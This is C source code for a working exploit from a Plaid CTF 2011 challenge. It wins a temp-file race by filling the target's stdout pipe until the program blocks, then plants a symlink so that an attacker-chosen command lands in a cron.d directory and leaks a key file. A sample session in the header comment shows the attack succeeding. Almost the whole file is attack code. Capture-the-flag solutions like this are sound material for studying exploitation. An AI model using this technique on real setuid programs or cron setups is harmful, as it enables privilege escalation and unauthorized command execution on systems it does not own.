/* pCTF 2011 - #18 A small bug
 * Exploiting race condition using an almost-filled blocking pipe connected to stdout
 * Based on https://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/
 */

/*
z1_16@a5:~$ ./exploit
Usage: ./exploit <exploitme> <string> <symlink>

z1_16@a5:~$ touch /tmp/stalkr; chmod go-rx,a+w /tmp/stalkr; ls -l /tmp/stalkr
-rw--w--w- 1 z1_16 z1users 0 Apr 23 16:15 /tmp/stalkr

z1_16@a5:~$ ./exploit /opt/pctf/z1/exploitme 'cat /opt/pctf/z1key/key >/tmp/stalkr' /opt/pctf/z1key/cron.d/stalkr.sh
Symlink /tmp/chal_irpdv9 -> /opt/pctf/z1key/cron.d/stalkr.sh created

z1_16@a5:~$ date
Sat Apr 23 16:16:02 EDT 2011

z1_16@a5:~$ cat /tmp/stalkr
This is the key: FUCKALLOFYOU

z1_16@a5:~$ rm -f /tmp/stalkr
*/

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

void fd_set_blocking(int fd)
{
  int flags;

  if ( (flags = fcntl(fd, F_GETFL)) == -1)
  {
      perror("fcntl()");
      exit(EXIT_FAILURE);
  }

  if (flags & O_NONBLOCK) {
      flags &= ~O_NONBLOCK;
      if (fcntl(fd, F_SETFL, flags) == -1)
      {
          perror("fcntl()");
          exit(EXIT_FAILURE);
      }
  }
}

void fd_set_nonblocking(int fd)
{
  int flags;

  if ( (flags = fcntl(fd, F_GETFL)) == -1)
  {
      perror("fcntl()");
      exit(EXIT_FAILURE);
  }

  if ( !(flags & O_NONBLOCK) )
  {
      flags |= O_NONBLOCK;
      if (fcntl(fd, F_SETFL, flags) == -1)
      {
          perror("fcntl()");
          exit(EXIT_FAILURE);
      }
  }
}

ssize_t xwrite(int fd, const void *buf, size_t count)
{
    ssize_t ret;

    do {
        ret = write(fd, buf, count);
    } while (ret == -1 && errno == EINTR);

    if (ret == -1 && errno != EAGAIN)
    {
        perror("write()");
        exit(EXIT_FAILURE);
    }

    return ret;
}

int xdup2(int oldfd, int newfd)
{
    int ret;

    if ( (ret = dup2(oldfd, newfd)) == -1)
    {
        perror("dup2()");
        exit(EXIT_FAILURE);
    }

    return ret;
}

int xpipe(int filedes[2])
{
    int ret;
    
    if ( (ret = pipe(filedes)) == -1)
    {
        perror("pipe()");
        exit(EXIT_FAILURE);
    }
    
    return ret;
}

int main(int argc, char **argv)
{
    pid_t pid;
    ssize_t ret;
    int pipestdout[2], pipestderr[2];
    char buf[4096];
    int i;
    char *tmpfile;
    
    if (argc < 4)
    {
        printf("Usage: %s <exploitme> <string> <symlink>\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    
    xpipe(pipestdout);
    xpipe(pipestderr);
    
    memset(buf, 0, sizeof(buf));
    
    /* Set stdout non-blocking, so we can fill the pipe buffer */
    fd_set_nonblocking(pipestdout[1]);
    
    /* Program will want to write this on stdout:
     * "Entering 0x8048285...\n" (main) -> let it do
     * "Entering 0x8048167...\n" (get_temp) -> let it do
     * "Entering 0x8048219...\n" (write_and_unlink) -> don't let it! we want to freeze
     * In order to do that, we fill the stdout pipe at maximum minus first two messages
     */
    
    /* Entirely fill the first 15th 4096 chunks */
    for (i=0; i<15; i++)
    {
      if (xwrite(pipestdout[1], buf, 4096) != 4096)
      {
        perror("write()");
      }
    }
    
    /* Almost fill the last (16th) 4096 chunk */
    i = 4096 - strlen("Entering 0x8048167...\n") - strlen("Entering 0x8048167...\n");
    if (xwrite(pipestdout[1], buf, i) != i)
    {
      perror("write()");
    }
    
    /* Now stdout pipe is almost full, child will block right after the two "Entering.." */
    fd_set_blocking(pipestdout[1]);
    
    switch(pid = fork()) {
      case -1:
          perror("fork()");
          exit(EXIT_FAILURE);
      
      case 0:
          /* Connect stdout/stderr of child to pipes */
          close(pipestderr[0]);
          close(pipestdout[0]);
          xdup2(pipestdout[1], 1);
          xdup2(pipestderr[1], 2);
          
          char *args[] = { argv[1], argv[2], NULL};
          if (execve(args[0], args, 0) == -1)
          {
            perror("execve()");
            exit(EXIT_FAILURE);
          }
      
      default:
          /* Read tmpfile from stderr */
          ret = read(pipestderr[0], &buf, strlen("Temporary file is /tmp/chal_eb9m7g.\n"));
          if (ret == -1)
          {
            perror("read()");
            exit(-1);
          }
          tmpfile = buf + strlen("Temporary file is ");
          tmpfile[strlen("/tmp/chal_eb9m7g")] = 0;
          
          symlink(argv[3], tmpfile);
          printf("Symlink %s -> %s created\n", tmpfile, argv[3]);
          
          /* We can unfill stdout's pipe so that child continues its execution */
          ret = read(pipestdout[0], &buf, 4096);
    }
    
    return EXIT_SUCCESS;
}
